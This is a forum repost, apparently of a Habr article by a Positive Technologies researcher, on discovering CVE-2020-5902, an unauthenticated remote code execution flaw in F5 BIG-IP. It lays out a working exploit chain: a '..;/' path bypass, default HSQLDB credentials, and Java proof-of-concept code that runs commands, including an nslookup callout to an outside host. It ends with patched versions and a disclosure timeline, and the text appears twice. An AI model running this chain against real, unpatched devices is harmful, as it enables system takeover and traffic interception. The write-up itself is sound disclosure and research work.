[Информационная безопасность] Разбор: как мы нашли RCE-уязвимость в контроллере доставки приложений F5 Big-IP
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
BIG-IP от компании F5 – это популярный контроллер доставки приложений, который применяют крупнейшие компании мира. В ходе анализа защищенности этого продукта, нам удалось найти опасную уязвимость CVE-2020-5902. Эта ошибка безопасности позволяет злоумышленнику получить возможность выполнения команд от лица неавторизованного пользователя и полностью скомпрометировать систему, например перехватить трафик веб-ресурсов, которым управляет контроллер.
По нашим данным, в июне 2020 года из интернета можно было получить доступ к 8 тысячам устройств, содержащих уязвимость CVE-2020-5902. Ее подробный разбор – в нашей новой статье.
В чем проблема
BIG-IP от компании F5 – это популярный контроллер доставки приложений, который применяют крупнейшие компании мира. Уязвимость CVE-2020-5902 получила оценку 10 баллов по шкале CVSS – это наивысший уровень опасности.
Уязвимость дает возможность удаленному злоумышленнику, в том числе не прошедшему проверку подлинности, но имеющему доступ к конфигурационной утилите BIG-IP, выполнить произвольный код в программном обеспечении (remote code execution, RCE). В результате атакующий сможет создавать или удалять файлы, отключать службы, перехватывать информацию, выполнять произвольные системные команды и произвольный Java-код, полностью скомпрометировать систему и развить атаку, например на внутренний сегмент сети.
К RCE приводит совокупность недостатков безопасности нескольких компонентов системы (например, выход за пределы каталога). Особой опасности подвергаются компании, у которых веб-интерфейс F5 BIG-IP можно обнаружить в специальных поисковых системах, таких как Shodan, но надо отметить, что необходимый интерфейс доступен из глобальной сети далеко не у всех компаний-пользователей
В ходе мониторинга актуальных угроз (threat intelligence) мы выяснили, что на конец июня 2020 года в мире насчитывалось свыше 8 тысяч уязвимых устройств, доступных из интернета, из них 40% — в США, 16% — в Китае, 3% — на Тайване, по 2,5% — в Канаде и Индонезии. В России было обнаружено менее 1% уязвимых устройств.
Теперь перейдем к рассказу о том, как нам удалось найти CVE-2020-5902.
Ищем ошибки конфигурации веб-сервера
Давайте установим F5 Big-IP к себе на виртуальную машину, и получим доступ к его командной оболочке:
Интерфейс командной строки F5 Big-IP
Первое, что стоит сделать для начала ресерча, это посмотреть все открытые порты, и какие приложения их используют. Так мы выявим все возможные точки входа в систему. Для этого используем команду netstat:
Поиск открытых портов на устройстве
Я люблю анализировать веб приложения, поэтому давайте приступим к анализу конфигурации сервера httpd, который прослушивает 443/tcp порт.
Самый интересный файл из его конфигурации это «/etc/httpd/conf.d/proxy_ajp.conf»:
LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#
#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
<IfDefine LunaUI>
ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1
</IfDefine>
<IfDefine WebAccelerator>
ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5
</IfDefine>
Содержимое файла /etc/httpd/conf.d/proxy_ajp.conf
Данный файл конфигурирует Apache таким образом, чтобы он осуществлял передачу запросов к Apache Tomcat на локальный порт 8009/tcp через протокол AJP, но только в случае, если эти запросы совпадают с одним из заданных регулярных выражений.
Обнаружение приложения, которое слушает порт 8009/tcp
Здесь важно сослаться на исследование Orange Tsai о том, как заставить объединенные в цепочку серверы обрабатывать URL по-разному. В частности, для нашей связки Apache HTTP Server и Apache Tomcat можно протестировать последовательность символов “..;/”:
Слайд презентации Orange Tsai
Согласно данным этого исследования, Apache HTTP Server будет парсить последовательность как валидное название папки, тогда как Apache Tomcat подумает, что эта комбинация указывает на переход к предыдущей директории.
Чтобы понять, будет ли работать этот способ, нужно получить путь к одному из скрытых эндпоинтов Tomcat в конфигурационном файле:
…
<servlet-mapping>
<servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
<url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
</servlet-mapping>
…
Фрагмент конфигурационного файла /usr/local/www/tmui/WEB-INF/web.xml
Путь /tiles/tmui/em_filter.jsp не должен совпадать с регулярными выражениями в файле proxy_ajp.conf, так что тестируем:
Тестируем технику Orange Tsai
Обычный запрос возвращает код 404, а запрос, использующий технику Orange Tsai – код 200. Таким образом, теперь мы можем обращаться к любым страницам на внутреннем сервере Apache Tomcat исследуемого устройства.
Находим уязвимые эндпоинты Tomcat
Давайте изучим конфигурацию сервера Apache Tomcat, и попробуем найти в ней уязвимые эндпоинты.
Ранее мы использовали путь /tiles/tmui/em_filter.jsp, но теперь давайте попробуем найти что-нибудь более полезное:
…
<servlet>
<servlet-name>hsqldb</servlet-name>
<servlet-class>org.hsqldb.Servlet</servlet-class>
<load-on-startup>3</load-on-startup>
</servlet>
…
<servlet-mapping>
<servlet-name>hsqldb</servlet-name>
<url-pattern>/hsqldb/*</url-pattern>
</servlet-mapping>
…
Фрагмент файла /usr/local/www/tmui/WEB-INF/web.xml
Мое внимание привлек путь “/hsqldb/”, который обрабатывается классом org.hsqldb.Servlet. Акроним HSQLDB означает Hyper SQL Database и его путь /hsqldb/ отвечает за предоставление доступа к самой базе данных.
Проверим, можно ли использовать нашу технику для доступа к этому пути:
Проверка доступности HSQLDB
Таким образом, нам удалось обойти авторизацию и получить доступ к HSQLDB. На официальном сайте HSQLDB есть руководство по подключению к базе через HTTP, и в нем сказано, что для подключения к базе данных по HTTP можно использовать специальный Java-драйвер. И для подключения необходимо знать логин и пароль для БД.
Воспользуемся 'золотой техникой' под названием «поиск в Google» и найдем дефолтные логины и пароли для HSQLDB:
Google показывает вам дефолтный логин и пароль прямо на странице поиска
Теперь напишем Proof-Of-Concept на Java, чтобы протестировать наше предположение, что драйвер HSQLDB может заработать с такими дефолтными данными для логина:
package com.company;
import java.sql.*;
import java.lang.*;
public class Main {
public static void main(String[] args) throws Exception {
Class.forName("org.hsqldb.jdbcDriver");
Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
Statement stmt = null;
ResultSet result = null;
stmt = c.createStatement();
result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
while (result.next()) {
System.out.println("Got result: " + result.getString(1));
}
result.close();
stmt.close();
}
}
PoC код для подключения к HSQLDB и запроса списка пользователей HSQLDB
Результат выполнения приведенного PoC кода
Код исполнился и вывел первого пользователя из таблицы, а это значит, что теперь мы можем исполнять произвольные SQL-запросы без какой бы то ни было аутентификации в интерфейсах F5 Big-IP.
Изучаем эндпоинт HSQLDB
Я провел немного времени в документации HSQLDB и остановился на операторе CALL – с его помощью можно исполнять хранимые процедуры, включая любые статические методы Java в HSQLDB classpath.
Давайте получим classpath из HSQLDB:
Запрос: CALL «java.lang.System.getProperty»('java.class.path')
Ответ: «/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli.jar:/usr/local/www/tmui/WEB-INF/classes»
Это точно такой же classpath, как и у сервера Apache Tomcat.
Теперь нам нужно найти любой статический метод, который позволит осуществить удаленное исполнение кода. После недолгого поиска в файле tmui.jar в классе com.f5.view.web.pagedefinition.shuffler.Scripting обнаружился метод setRequestContext:
public static void setRequestContext(String object, String screen)
{
PyObject current = getInterpreter().eval(object + "__" + screen + "()");
currentObject.set(current);
}
Пытаемся вызвать этот метод с произвольными данными:
Запрос: CALL «com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext»('aa','bb')
Ответ: «NameError: aa__bb»,
Мы видим что мы попали в контекст исполнения Python кода, и передали неверные данные.
Пробуем импортировать модуль «os» и вызвать функцию system:
Запрос: CALL «com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext»('__import__(«os»).system()#','#11')
Ответ: «ImportError: no module named javaos»
Гуглим ошибку и узнаем, что это типичное поведение для языка Jython.
Пробуем выполнить команду другим способом:
Запрос: CALL «com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext»('Runtime.getRuntime().exec(«ls»)#','#')
Ответ: null
От этого запроса мы получили null, что говорит нам об успешном выполнении команды. Теперь, соберем финальный PoC-код, который отправит dns-запрос, если сервер уязвим:
package com.company;
import java.sql.*;
import java.lang.*;
public class Main {
public static void main(String[] args) throws Exception {
Class.forName("org.hsqldb.jdbcDriver");
Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
Statement stmt = null;
ResultSet result = null;
stmt = c.createStatement();
result = stmt.executeQuery("CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext"('Runtime.getRuntime().exec("nslookup test.dns.samplehost.com")#','#')");
while (result.next()) {
System.out.println("Got result: " + result.getString(1));
}
result.close();
stmt.close();
}
}
И получим RCE в нашем F5 Big-IP, используя команды для reverse shell:
Получение доступа к F5 Big-IP через обнаруженную цепочку уязвимостей
Резюме
Мы получили RCE от неавторизованного пользователя за три простых шага:
- Нашли ошибку в конфигурации Apache HTTP Server и Apache Tomcat
- Использовали дефолтный пароль для HSQLDB
- Воспользовались неочевидными статическими методами в коде библиотеки F5 Big-IP
Как защититься
Для устранения уязвимости необходимо обновить систему до последней версии: уязвимые версии BIG-IP (11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) следует заменить на версии, в которых уязвимость устранена (BIG-IP 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4). Для пользователей публичных облачных маркетплейсов (AWS, Azure, GCP и Alibaba) необходимо использовать версии BIG-IP Virtual Edition (VE) 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6 или 15.1.0.4) при условии их наличия на этих рынках. Остальные рекомендации приведены в уведомлении F5 BIG-IP.
Автор: Михаил Ключников (@__mn1__), Positive Technologies
Таймлайн:
- 1 April, 2020 — информация об уязвимости отправлена в F5 Networks
- 3 April, 2020 — команда F5 смогла воспроизвести уязвимости
- 1 July, 2020 — выход Security Advisory и обновлений для большинства уязвимых версий
===========
Источник:
habr.com
===========
Похожие новости:
- [IT-компании, Информационная безопасность, История IT] Acronis приобрела DeviceLock
- [Информационная безопасность] Wapiti — анализ защищенности сайта своими силами
- [Информационная безопасность, Сетевые технологии, Системное администрирование] SIGRed — новая критическая уязвимость в Windows Server. Как защититься?
- [Информационная безопасность] Обнаружена опаснейшая уязвимость в Windows DNS Server
- [IT-инфраструктура, IT-стандарты, Информационная безопасность, Конференции] Управление мобильностью – здесь и сейчас
- [Информационная безопасность, Монетизация мобильных приложений] Google запретит рекламу технологии слежки за партнером
- [Информационная безопасность] Как одна недоработка в IT-системе привела к раскрытию банковской тайны в Сбербанке
- [Информационная безопасность] ИБо нефиг: лучшие ИБ-разоблачения 2020-го по версии JSOC
- [IT-компании, Информационная безопасность, Карьера в IT-индустрии, Развитие стартапа] Бизнес-хакеры Кремниевой долины
- [Информационная безопасность] Google Dorking или используем Гугл на максимум
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_f5, #_f5_bigip, #_informatsionnaja_bezopasnost (информационная безопасность), #_ujazvimosti (уязвимости), #_issledovanija (исследования), #_blog_kompanii_positive_technologies (
Блог компании Positive Technologies
), #_informatsionnaja_bezopasnost (
Информационная безопасность
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 23-Ноя 05:14
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
BIG-IP от компании F5 – это популярный контроллер доставки приложений, который применяют крупнейшие компании мира. В ходе анализа защищенности этого продукта, нам удалось найти опасную уязвимость CVE-2020-5902. Эта ошибка безопасности позволяет злоумышленнику получить возможность выполнения команд от лица неавторизованного пользователя и полностью скомпрометировать систему, например перехватить трафик веб-ресурсов, которым управляет контроллер. По нашим данным, в июне 2020 года из интернета можно было получить доступ к 8 тысячам устройств, содержащих уязвимость CVE-2020-5902. Ее подробный разбор – в нашей новой статье. В чем проблема BIG-IP от компании F5 – это популярный контроллер доставки приложений, который применяют крупнейшие компании мира. Уязвимость CVE-2020-5902 получила оценку 10 баллов по шкале CVSS – это наивысший уровень опасности. Уязвимость дает возможность удаленному злоумышленнику, в том числе не прошедшему проверку подлинности, но имеющему доступ к конфигурационной утилите BIG-IP, выполнить произвольный код в программном обеспечении (remote code execution, RCE). В результате атакующий сможет создавать или удалять файлы, отключать службы, перехватывать информацию, выполнять произвольные системные команды и произвольный Java-код, полностью скомпрометировать систему и развить атаку, например на внутренний сегмент сети. К RCE приводит совокупность недостатков безопасности нескольких компонентов системы (например, выход за пределы каталога). Особой опасности подвергаются компании, у которых веб-интерфейс F5 BIG-IP можно обнаружить в специальных поисковых системах, таких как Shodan, но надо отметить, что необходимый интерфейс доступен из глобальной сети далеко не у всех компаний-пользователей В ходе мониторинга актуальных угроз (threat intelligence) мы выяснили, что на конец июня 2020 года в мире насчитывалось свыше 8 тысяч уязвимых устройств, доступных из интернета, из них 40% — в США, 16% — в Китае, 3% — на Тайване, по 2,5% — в Канаде и Индонезии. В России было обнаружено менее 1% уязвимых устройств. Теперь перейдем к рассказу о том, как нам удалось найти CVE-2020-5902. Ищем ошибки конфигурации веб-сервера Давайте установим F5 Big-IP к себе на виртуальную машину, и получим доступ к его командной оболочке: Интерфейс командной строки F5 Big-IP Первое, что стоит сделать для начала ресерча, это посмотреть все открытые порты, и какие приложения их используют. Так мы выявим все возможные точки входа в систему. Для этого используем команду netstat: Поиск открытых портов на устройстве Я люблю анализировать веб приложения, поэтому давайте приступим к анализу конфигурации сервера httpd, который прослушивает 443/tcp порт. Самый интересный файл из его конфигурации это «/etc/httpd/conf.d/proxy_ajp.conf»: LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
# # When loaded, the mod_proxy_ajp module adds support for # proxying to an AJP/1.3 backend server (such as Tomcat). # To proxy to an AJP backend, use the "ajp://" URI scheme; # Tomcat is configured to listen on port 8009 for AJP requests # by default. # # # Uncomment the following lines to serve the ROOT webapp # under the /tomcat/ location, and the jsp-examples webapp # under the /examples/ location. # #ProxyPass /tomcat/ ajp://localhost:8009/ #ProxyPass /examples/ ajp://localhost:8009/jsp-examples/ ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5 ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5 ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5 ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5 ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5 ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5 <IfDefine LunaUI> ProxyPassMatch ^/lunaui/(.*\.jsf.*)$ ajp://localhost:8009/lunaui/$1 ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1 ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1 </IfDefine> <IfDefine WebAccelerator> ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5 </IfDefine> Содержимое файла /etc/httpd/conf.d/proxy_ajp.conf Данный файл конфигурирует Apache таким образом, чтобы он осуществлял передачу запросов к Apache Tomcat на локальный порт 8009/tcp через протокол AJP, но только в случае, если эти запросы совпадают с одним из заданных регулярных выражений. Обнаружение приложения, которое слушает порт 8009/tcp Здесь важно сослаться на исследование Orange Tsai о том, как заставить объединенные в цепочку серверы обрабатывать URL по-разному. В частности, для нашей связки Apache HTTP Server и Apache Tomcat можно протестировать последовательность символов “..;/”: Слайд презентации Orange Tsai Согласно данным этого исследования, Apache HTTP Server будет парсить последовательность как валидное название папки, тогда как Apache Tomcat подумает, что эта комбинация указывает на переход к предыдущей директории. Чтобы понять, будет ли работать этот способ, нужно получить путь к одному из скрытых эндпоинтов Tomcat в конфигурационном файле: …
<servlet-mapping> <servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name> <url-pattern>/tiles/tmui/em_filter.jsp</url-pattern> </servlet-mapping> … Фрагмент конфигурационного файла /usr/local/www/tmui/WEB-INF/web.xml Путь /tiles/tmui/em_filter.jsp не должен совпадать с регулярными выражениями в файле proxy_ajp.conf, так что тестируем: Тестируем технику Orange Tsai Обычный запрос возвращает код 404, а запрос, использующий технику Orange Tsai – код 200. Таким образом, теперь мы можем обращаться к любым страницам на внутреннем сервере Apache Tomcat исследуемого устройства. Находим уязвимые эндпоинты Tomcat Давайте изучим конфигурацию сервера Apache Tomcat, и попробуем найти в ней уязвимые эндпоинты. Ранее мы использовали путь /tiles/tmui/em_filter.jsp, но теперь давайте попробуем найти что-нибудь более полезное: …
<servlet> <servlet-name>hsqldb</servlet-name> <servlet-class>org.hsqldb.Servlet</servlet-class> <load-on-startup>3</load-on-startup> </servlet> … <servlet-mapping> <servlet-name>hsqldb</servlet-name> <url-pattern>/hsqldb/*</url-pattern> </servlet-mapping> … Фрагмент файла /usr/local/www/tmui/WEB-INF/web.xml Мое внимание привлек путь “/hsqldb/”, который обрабатывается классом org.hsqldb.Servlet. Акроним HSQLDB означает Hyper SQL Database и его путь /hsqldb/ отвечает за предоставление доступа к самой базе данных. Проверим, можно ли использовать нашу технику для доступа к этому пути: Проверка доступности HSQLDB Таким образом, нам удалось обойти авторизацию и получить доступ к HSQLDB. На официальном сайте HSQLDB есть руководство по подключению к базе через HTTP, и в нем сказано, что для подключения к базе данных по HTTP можно использовать специальный Java-драйвер. И для подключения необходимо знать логин и пароль для БД. Воспользуемся 'золотой техникой' под названием «поиск в Google» и найдем дефолтные логины и пароли для HSQLDB: Google показывает вам дефолтный логин и пароль прямо на странице поиска Теперь напишем Proof-Of-Concept на Java, чтобы протестировать наше предположение, что драйвер HSQLDB может заработать с такими дефолтными данными для логина: package com.company;
import java.sql.*; import java.lang.*; public class Main { public static void main(String[] args) throws Exception { Class.forName("org.hsqldb.jdbcDriver"); Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", ""); Statement stmt = null; ResultSet result = null; stmt = c.createStatement(); result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS"); while (result.next()) { System.out.println("Got result: " + result.getString(1)); } result.close(); stmt.close(); } } PoC код для подключения к HSQLDB и запроса списка пользователей HSQLDB Результат выполнения приведенного PoC кода Код исполнился и вывел первого пользователя из таблицы, а это значит, что теперь мы можем исполнять произвольные SQL-запросы без какой бы то ни было аутентификации в интерфейсах F5 Big-IP. Изучаем эндпоинт HSQLDB Я провел немного времени в документации HSQLDB и остановился на операторе CALL – с его помощью можно исполнять хранимые процедуры, включая любые статические методы Java в HSQLDB classpath. Давайте получим classpath из HSQLDB: Запрос: CALL «java.lang.System.getProperty»('java.class.path')
Ответ: «/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli.jar:/usr/local/www/tmui/WEB-INF/classes» Это точно такой же classpath, как и у сервера Apache Tomcat. Теперь нам нужно найти любой статический метод, который позволит осуществить удаленное исполнение кода. После недолгого поиска в файле tmui.jar в классе com.f5.view.web.pagedefinition.shuffler.Scripting обнаружился метод setRequestContext: public static void setRequestContext(String object, String screen)
{ PyObject current = getInterpreter().eval(object + "__" + screen + "()"); currentObject.set(current); } Пытаемся вызвать этот метод с произвольными данными: Запрос: CALL «com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext»('aa','bb')
Ответ: «NameError: aa__bb», Мы видим что мы попали в контекст исполнения Python кода, и передали неверные данные. Пробуем импортировать модуль «os» и вызвать функцию system: Запрос: CALL «com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext»('__import__(«os»).system()#','#11')
Ответ: «ImportError: no module named javaos» Гуглим ошибку и узнаем, что это типичное поведение для языка Jython. Пробуем выполнить команду другим способом: Запрос: CALL «com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext»('Runtime.getRuntime().exec(«ls»)#','#')
Ответ: null От этого запроса мы получили null, что говорит нам об успешном выполнении команды. Теперь, соберем финальный PoC-код, который отправит dns-запрос, если сервер уязвим: package com.company;
import java.sql.*; import java.lang.*; public class Main { public static void main(String[] args) throws Exception { Class.forName("org.hsqldb.jdbcDriver"); Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", ""); Statement stmt = null; ResultSet result = null; stmt = c.createStatement(); result = stmt.executeQuery("CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext"('Runtime.getRuntime().exec("nslookup test.dns.samplehost.com")#','#')"); while (result.next()) { System.out.println("Got result: " + result.getString(1)); } result.close(); stmt.close(); } } И получим RCE в нашем F5 Big-IP, используя команды для reverse shell: Получение доступа к F5 Big-IP через обнаруженную цепочку уязвимостей Резюме Мы получили RCE от неавторизованного пользователя за три простых шага:
Как защититься Для устранения уязвимости необходимо обновить систему до последней версии: уязвимые версии BIG-IP (11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) следует заменить на версии, в которых уязвимость устранена (BIG-IP 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4). Для пользователей публичных облачных маркетплейсов (AWS, Azure, GCP и Alibaba) необходимо использовать версии BIG-IP Virtual Edition (VE) 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6 или 15.1.0.4) при условии их наличия на этих рынках. Остальные рекомендации приведены в уведомлении F5 BIG-IP. Автор: Михаил Ключников (@__mn1__), Positive Technologies Таймлайн:
=========== Источник: habr.com =========== Похожие новости:
Блог компании Positive Technologies ), #_informatsionnaja_bezopasnost ( Информационная безопасность ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 23-Ноя 05:14
Часовой пояс: UTC + 5